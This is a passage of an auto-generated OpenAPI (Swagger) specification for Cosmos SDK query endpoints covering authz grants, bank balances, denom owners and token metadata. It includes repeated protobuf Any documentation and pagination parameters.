additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: granter | |
in: query | |
required: false | |
type: string | |
- name: grantee | |
in: query | |
required: false | |
type: string | |
- name: msg_type_url | |
description: >- | |
Optional, msg_type_url, when set, will query only grants matching | |
given msg type. | |
in: query | |
required: false | |
type: string | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/authz/v1beta1/grants/grantee/{grantee}: | |
get: | |
summary: GranteeGrants returns a list of `GrantAuthorization` by grantee. | |
description: 'Since: cosmos-sdk 0.46' | |
operationId: GranteeGrants | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
grants: | |
type: array | |
items: | |
type: object | |
properties: | |
granter: | |
type: string | |
grantee: | |
type: string | |
authorization: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the | |
type of the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's | |
path must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be | |
in a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the | |
binary all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can | |
optionally set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results | |
based on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available | |
in the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty | |
scheme) might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the | |
above specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any | |
values in the form | |
of utility functions or additional generated methods of | |
the Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and | |
the unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will | |
yield type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the | |
regular | |
representation of the deserialized, embedded message, | |
with an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a | |
custom JSON | |
representation, that representation will be embedded | |
adding a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message | |
[google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
expiration: | |
type: string | |
format: date-time | |
title: >- | |
GrantAuthorization extends a grant with both the addresses | |
of the grantee and granter. | |
It is used in genesis.proto and query.proto | |
description: grants is a list of grants granted to the grantee. | |
pagination: | |
description: pagination defines an pagination for the response. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QueryGranteeGrantsResponse is the response type for the | |
Query/GranteeGrants RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: grantee | |
in: path | |
required: true | |
type: string | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/authz/v1beta1/grants/granter/{granter}: | |
get: | |
summary: GranterGrants returns list of `GrantAuthorization`, granted by granter. | |
description: 'Since: cosmos-sdk 0.46' | |
operationId: GranterGrants | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
grants: | |
type: array | |
items: | |
type: object | |
properties: | |
granter: | |
type: string | |
grantee: | |
type: string | |
authorization: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the | |
type of the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's | |
path must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be | |
in a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the | |
binary all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can | |
optionally set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results | |
based on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available | |
in the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty | |
scheme) might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the | |
above specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any | |
values in the form | |
of utility functions or additional generated methods of | |
the Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and | |
the unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will | |
yield type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the | |
regular | |
representation of the deserialized, embedded message, | |
with an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a | |
custom JSON | |
representation, that representation will be embedded | |
adding a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message | |
[google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
expiration: | |
type: string | |
format: date-time | |
title: >- | |
GrantAuthorization extends a grant with both the addresses | |
of the grantee and granter. | |
It is used in genesis.proto and query.proto | |
description: grants is a list of grants granted by the granter. | |
pagination: | |
description: pagination defines an pagination for the response. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QueryGranterGrantsResponse is the response type for the | |
Query/GranterGrants RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: granter | |
in: path | |
required: true | |
type: string | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/balances/{address}: | |
get: | |
summary: AllBalances queries the balance of all coins for a single account. | |
description: >- | |
When called from another module, this query might consume a high amount | |
of | |
gas if the pagination field is incorrectly set. | |
operationId: AllBalances | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
balances: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
description: balances is the balances of all the coins. | |
pagination: | |
description: pagination defines the pagination in the response. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QueryAllBalancesResponse is the response type for the | |
Query/AllBalances RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: address | |
description: address is the address to query balances for. | |
in: path | |
required: true | |
type: string | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/balances/{address}/by_denom: | |
get: | |
summary: Balance queries the balance of a single coin for a single account. | |
operationId: BankBalance | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
balance: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the custom | |
method | |
signatures required by gogoproto. | |
description: >- | |
QueryBalanceResponse is the response type for the Query/Balance | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: address | |
description: address is the address to query balances for. | |
in: path | |
required: true | |
type: string | |
- name: denom | |
description: denom is the coin denom to query balances for. | |
in: query | |
required: false | |
type: string | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/denom_owners/{denom}: | |
get: | |
summary: >- | |
DenomOwners queries for all account addresses that own a particular | |
token | |
denomination. | |
description: >- | |
When called from another module, this query might consume a high amount | |
of | |
gas if the pagination field is incorrectly set. | |
Since: cosmos-sdk 0.46 | |
operationId: DenomOwners | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
denom_owners: | |
type: array | |
items: | |
type: object | |
properties: | |
address: | |
type: string | |
description: >- | |
address defines the address that owns a particular | |
denomination. | |
balance: | |
type: object | |
properties: | |
denom: | |
type: string | |
amount: | |
type: string | |
description: >- | |
Coin defines a token with a denomination and an amount. | |
NOTE: The amount field is an Int which implements the | |
custom method | |
signatures required by gogoproto. | |
description: >- | |
DenomOwner defines structure representing an account that | |
owns or holds a | |
particular denominated token. It contains the account | |
address and account | |
balance of the denominated token. | |
Since: cosmos-sdk 0.46 | |
pagination: | |
description: pagination defines the pagination in the response. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QueryDenomOwnersResponse defines the RPC response of a DenomOwners | |
RPC query. | |
Since: cosmos-sdk 0.46 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: denom | |
description: >- | |
denom defines the coin denomination to query all account holders | |
for. | |
in: path | |
required: true | |
type: string | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/denoms_metadata: | |
get: | |
summary: |- | |
DenomsMetadata queries the client metadata for all registered coin | |
denominations. | |
operationId: DenomsMetadata | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
metadatas: | |
type: array | |
items: | |
type: object | |
properties: | |
description: | |
type: string | |
denom_units: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
description: >- | |
denom represents the string name of the given | |
denom unit (e.g uatom). | |
exponent: | |
type: integer | |
format: int64 | |
description: >- | |
exponent represents power of 10 exponent that one | |
must | |
raise the base_denom to in order to equal the | |
given DenomUnit's denom | |
1 denom = 10^exponent base_denom | |
(e.g. with a base_denom of uatom, one can create a | |
DenomUnit of 'atom' with | |
exponent = 6, thus: 1 atom = 10^6 uatom). | |
aliases: | |
type: array | |
items: | |
type: string | |
title: >- | |
aliases is a list of string aliases for the given | |
denom | |
description: |- | |
DenomUnit represents a struct that describes a given | |
denomination unit of the basic token. | |
title: >- | |
denom_units represents the list of DenomUnit's for a | |
given coin | |
base: | |
type: string | |
description: >- | |
base represents the base denom (should be the DenomUnit | |
with exponent = 0). | |
display: | |
type: string | |
description: |- | |
display indicates the suggested denom that should be | |
displayed in clients. | |
name: | |
type: string | |
description: 'Since: cosmos-sdk 0.43' | |
title: 'name defines the name of the token (eg: Cosmos Atom)' | |
symbol: | |
type: string | |
description: >- | |
symbol is the token symbol usually shown on exchanges | |
(eg: ATOM). This can | |
be the same as the display. | |
Since: cosmos-sdk 0.43 | |
uri: | |
type: string | |
description: >- | |
URI to a document (on or off-chain) that contains | |
additional information. Optional. | |
Since: cosmos-sdk 0.46 | |
uri_hash: | |
type: string | |
description: >- | |
URIHash is a sha256 hash of a document pointed by URI. | |
It's used to verify that | |
the document didn't change. Optional. | |
Since: cosmos-sdk 0.46 | |
description: |- | |
Metadata represents a struct that describes | |
a basic token. | |
description: >- | |
metadata provides the client information for all the | |
registered tokens. | |
pagination: | |
description: pagination defines the pagination in the response. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QueryDenomsMetadataResponse is the response type for the | |
Query/DenomsMetadata RPC | |
method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
value: | |
type: string | |
format: byte | |
parameters: | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/bank/v1beta1/denoms_metadata/{denom}: | |
get: | |
summary: DenomsMetadata queries the client metadata of a given coin denomination. | |
operationId: DenomMetadata | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
metadata: | |
type: object | |
properties: | |
description: | |
type: string | |
denom_units: | |
type: array | |
items: | |
type: object | |
properties: | |
denom: | |
type: string | |
description: >- | |
denom represents the string name of the given denom | |
unit (e.g uatom). | |
exponent: | |
type: integer | |
format: int64 | |
description: >- | |
exponent represents power of 10 exponent that one | |
must | |
raise the base_denom to in order to equal the given | |
DenomUnit's denom | |
1 denom = 10^exponent base_denom | |
(e.g. with a base_denom of uatom, one can create a | |
DenomUnit of 'atom' with | |
exponent = 6, thus: 1 atom = 10^6 uatom). | |
aliases: | |
type: array | |
items: | |
type: string | |
title: >- | |
aliases is a list of string aliases for the given | |
denom | |
description: |- | |
DenomUnit represents a struct that describes a given | |
denomination unit of the basic token. | |
title: >- | |
denom_units represents the list of DenomUnit's for a given | |
coin | |
base: | |
type: string | |
description: >- | |
base represents the base denom (should be the DenomUnit | |
with exponent = 0). | |
display: | |
type: string | |
description: |- | |
